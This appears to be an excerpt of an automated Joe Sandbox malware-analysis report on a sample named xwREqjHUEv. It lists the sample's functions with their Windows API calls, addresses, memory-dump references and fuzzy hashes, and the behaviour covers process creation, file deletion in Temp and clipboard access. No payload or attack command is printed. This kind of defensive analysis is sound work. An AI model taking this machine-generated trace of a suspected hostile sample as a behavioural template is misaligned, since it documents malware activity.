Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: 91E09AB4600219BFEB109B74AD06F7B767CE704604F408475BD15E2151D774A8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040694B Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
GetProcAddress.KERNEL32(00000000,?), ref: 00406978

Part of subcall function 004068DB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
Part of subcall function 004068DB: wsprintfW.USER32 ref: 0040692D
Part of subcall function 004068DB: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406941

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: ff64ee7455e026c1647d72c339307a336527f79dacb59e64982fca04d7429b22
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: 38E08673504210AFD61057705D04D27B3A89F85740302443EF946F2140DB34DC32ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406047 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00406022 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 97cbb32404f08d1f6fed837f871d2b37f55cf766f9720be9b575451f5cdabe77
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: A3D0C972504220AFC2102728AE0889BBB55EB542717028A35FCA9A22B0CB304CA68694

Uniqueness

Uniqueness Score: -1.00%

Function 00405B05 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B19

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 8c4969e502f5bc4c8dfdefb7e9c2ba363b64d1215f12130c86bef4ebeef6f559
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 19C08C30310902DACA802B209F087173960AB80340F158439A683E00B4CA30A065C92D

Uniqueness

Uniqueness Score: -1.00%

Function 004060CA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E7,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060DE

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: a77d82ba430c16999eb1f2306cb11816df14181100402a9e04059793f1b3015d
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 21E08632150219ABCF10DF948C00EEB3B9CFF04390F018436FD11E3040D630E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060F9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040349D,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040610D

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 78408803ccc59d93ae5352641a5e7b8f709900c8df5e8e9e13d69f82a1dcf02f
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 8FE08C3220021ABBCF109E908C00EEB3FACEB003A0F014432FA26E6050D670E83097A4

Uniqueness

Uniqueness Score: -1.00%

Function 004034EA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034F8

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FF0

Part of subcall function 004069F6: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
Part of subcall function 004069F6: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 9edf40dd620456944a3073f7ecab255b0d78d4833ca7daa8f9e88a8b745076c9
Instruction ID: 72ab4701d282d41bfb99937ccb951c9b3d992b5a19319da95f503844dddfcbd3
Opcode Fuzzy Hash: 9edf40dd620456944a3073f7ecab255b0d78d4833ca7daa8f9e88a8b745076c9
Instruction Fuzzy Hash: EEF0F032804015ABCB20BBA199849DE72B5CF00318B21413FE102B21D1C77C0E42AA6E

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93ee68a11940325a9ced04c682ca8caeb947e30f70c8be79a55a08dd3566a10b
Instruction ID: c44eb66d79cfe4ab40ed370e2c6e06efa86698fbc962cda5fd2e65c0cc136455
Opcode Fuzzy Hash: 93ee68a11940325a9ced04c682ca8caeb947e30f70c8be79a55a08dd3566a10b
Instruction Fuzzy Hash: 47D0A773A142008BD700EBF8BE854AF73F8EB403293215C3BD102E11D1E778C901561C

Uniqueness

Uniqueness Score: -1.00%

Function 00403B4F Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403A82,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403B5A

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3a0e7e5e5cdf62e96be2142a5155a3d8c657aa15ddb96e9066be89a7fa45203e
Instruction ID: 69482a2579ef2b85c2ad9764c5c762c9eb4f19b2fcf4b87e51b14fafea8afdc0
Opcode Fuzzy Hash: 3a0e7e5e5cdf62e96be2142a5155a3d8c657aa15ddb96e9066be89a7fa45203e
Instruction Fuzzy Hash: EDC0123090470496F1206F79AE8FA153A64574073DBA48726B0B8B10F3CB7C5659555D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405779
GetDlgItem.USER32(?,000003EE), ref: 00405788
GetClientRect.USER32(?,?), ref: 004057C5
GetSystemMetrics.USER32(00000002), ref: 004057CC
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057ED
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057FE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405811
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040581F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405832
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405854
ShowWindow.USER32(?,00000008), ref: 00405868
GetDlgItem.USER32(?,000003EC), ref: 00405889
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405899
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058B2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058BE
GetDlgItem.USER32(?,000003F8), ref: 00405797

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

GetDlgItem.USER32(?,000003EC), ref: 004058DB
CreateThread.KERNEL32(00000000,00000000,Function_000056AF,00000000), ref: 004058E9
CloseHandle.KERNEL32(00000000), ref: 004058F0
ShowWindow.USER32(00000000), ref: 00405914
ShowWindow.USER32(?,00000008), ref: 00405919
ShowWindow.USER32(00000008), ref: 00405963
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405997
CreatePopupMenu.USER32 ref: 004059A8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059BC
GetWindowRect.USER32(?,?), ref: 004059DC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059F5
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A2D
OpenClipboard.USER32(00000000), ref: 00405A3D
EmptyClipboard.USER32 ref: 00405A43
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A4F
GlobalLock.KERNEL32(00000000), ref: 00405A59
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A6D
GlobalUnlock.KERNEL32(00000000), ref: 00405A8D
SetClipboardData.USER32(0000000D,00000000), ref: 00405A98
CloseClipboard.USER32 ref: 00405A9E

Strings

{, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction ID: 234ab3d0ec1f6487b719ed7b99e1d6b4405f443d9e8d78e252fa94ab3ac4d3a1
Opcode Fuzzy Hash: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction Fuzzy Hash: 34B139B1900608FFDB11AF60DD89AAE7B79FB48355F00813AFA41BA1A0C7785A51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004049C7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A16
SetWindowTextW.USER32(00000000,?), ref: 00404A40
SHBrowseForFolderW.SHELL32(?), ref: 00404AF1
CoTaskMemFree.OLE32(00000000), ref: 00404AFC
lstrcmpiW.KERNEL32(004326A0,0042CA68,00000000,?,?), ref: 00404B2E
lstrcatW.KERNEL32(?,004326A0), ref: 00404B3A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B4C

Part of subcall function 00405B9B: GetDlgItemTextW.USER32(?,?,00000400,00404B83), ref: 00405BAE

Part of subcall function 00406805: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
Part of subcall function 00406805: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
Part of subcall function 00406805: CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
Part of subcall function 00406805: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C0F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C2A

Part of subcall function 00404D83: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
Part of subcall function 00404D83: wsprintfW.USER32 ref: 00404E2D
Part of subcall function 00404D83: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

A, xrefs: 00404AEA

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction ID: 8a45afd3ee22384d80319c7ed67abe130e578f1d2b392c1e8909742cb30e522b
Opcode Fuzzy Hash: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction Fuzzy Hash: FCA192B1900208ABDB11EFA5DD45BAFB7B8EF84314F11803BF611B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405C63 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405C8C
lstrcatW.KERNEL32(0042EA70,\*.*), ref: 00405CD4
lstrcatW.KERNEL32(?,0040A014), ref: 00405CF7
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CFD
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D0D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DAD
FindClose.KERNEL32(00000000), ref: 00405DBC

Strings

\*.*, xrefs: 00405CCE
pB, xrefs: 00405CBC
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C70

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-1746305512
Opcode ID: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
